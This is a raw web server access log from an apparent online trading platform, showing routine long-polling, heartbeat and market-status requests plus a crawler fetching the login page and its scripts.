[09/Jan/2026:14:38:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940993816 HTTP/1.1" -
[09/Jan/2026:14:38:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940993926 HTTP/1.1" -
[09/Jan/2026:14:38:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941012233 HTTP/1.1" -
[09/Jan/2026:14:38:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:38:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:38:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941004513 HTTP/1.1" -
[09/Jan/2026:14:38:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940998864 HTTP/1.1" -
[09/Jan/2026:14:38:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940999065 HTTP/1.1" -
[09/Jan/2026:14:38:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:38:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:38:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941017299 HTTP/1.1" -
[09/Jan/2026:14:38:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:38:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941009620 HTTP/1.1" -
[09/Jan/2026:14:38:54 +0800] 66.249.68.65 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/login.html HTTP/1.1" 1620
[09/Jan/2026:14:38:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941003911 HTTP/1.1" -
[09/Jan/2026:14:38:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:38:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:38:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941004202 HTTP/1.1" -
[09/Jan/2026:14:38:55 +0800] 66.249.68.66 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/login.html HTTP/1.1" 1620
[09/Jan/2026:14:38:56 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:14:38:56 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:14:38:56 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:14:38:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941022330 HTTP/1.1" -
[09/Jan/2026:14:38:57 +0800] 66.249.68.65 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:14:38:57 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:14:38:58 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:14:38:58 +0800] 66.249.68.65 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/user/translation.js?jsv=20200819161913 HTTP/1.1" 12195
[09/Jan/2026:14:38:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941014654 HTTP/1.1" -
[09/Jan/2026:14:38:59 +0800] 66.249.68.65 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:14:38:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941008947 HTTP/1.1" -
[09/Jan/2026:14:38:59 +0800] 66.249.68.65 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:14:39:00 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:14:39:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941009330 HTTP/1.1" -
[09/Jan/2026:14:39:00 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:14:39:01 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:14:39:01 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:14:39:02 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:14:39:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941027364 HTTP/1.1" -
[09/Jan/2026:14:39:02 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:14:39:03 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:14:39:03 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:39:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:39:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941019718 HTTP/1.1" -
[09/Jan/2026:14:39:04 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:14:39:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941013965 HTTP/1.1" -
[09/Jan/2026:14:39:04 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:14:39:05 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:14:39:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941014475 HTTP/1.1" -
[09/Jan/2026:14:39:05 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:14:39:06 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/user/translation.js?jsv=20200819161913 HTTP/1.1" 12195
[09/Jan/2026:14:39:06 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:14:39:07 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:14:39:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941032428 HTTP/1.1" -
[09/Jan/2026:14:39:07 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:39:08 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/dialog.html?1767744000000 HTTP/1.1" 3027
[09/Jan/2026:14:39:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941024809 HTTP/1.1" -
[09/Jan/2026:14:39:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941019002 HTTP/1.1" -
[09/Jan/2026:14:39:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:39:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941019600 HTTP/1.1" -
[09/Jan/2026:14:39:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941037497 HTTP/1.1" -
[09/Jan/2026:14:39:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941029877 HTTP/1.1" -
[09/Jan/2026:14:39:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941024041 HTTP/1.1" -
[09/Jan/2026:14:39:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941024736 HTTP/1.1" -
[09/Jan/2026:14:39:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941042556 HTTP/1.1" -
[09/Jan/2026:14:39:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:39:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:39:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941034910 HTTP/1.1" -
[09/Jan/2026:14:39:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941029064 HTTP/1.1" -
[09/Jan/2026:14:39:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941029931 HTTP/1.1" -
[09/Jan/2026:14:39:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:39:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:39:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941047608 HTTP/1.1" -
[09/Jan/2026:14:39:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:39:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941040000 HTTP/1.1" -
[09/Jan/2026:14:39:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:39:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941034105 HTTP/1.1" -
[09/Jan/2026:14:39:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941034975 HTTP/1.1" -
[09/Jan/2026:14:39:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941052635 HTTP/1.1" -
[09/Jan/2026:14:39:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941045024 HTTP/1.1" -
[09/Jan/2026:14:39:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941039135 HTTP/1.1" -
[09/Jan/2026:14:39:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941040043 HTTP/1.1" -
[09/Jan/2026:14:39:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941057675 HTTP/1.1" -
[09/Jan/2026:14:39:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:39:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941050111 HTTP/1.1" -
[09/Jan/2026:14:39:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941044176 HTTP/1.1" -
[09/Jan/2026:14:39:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941045173 HTTP/1.1" -
[09/Jan/2026:14:39:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941062733 HTTP/1.1" -
[09/Jan/2026:14:39:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941055204 HTTP/1.1" -
[09/Jan/2026:14:39:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941049213 HTTP/1.1" -
[09/Jan/2026:14:39:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
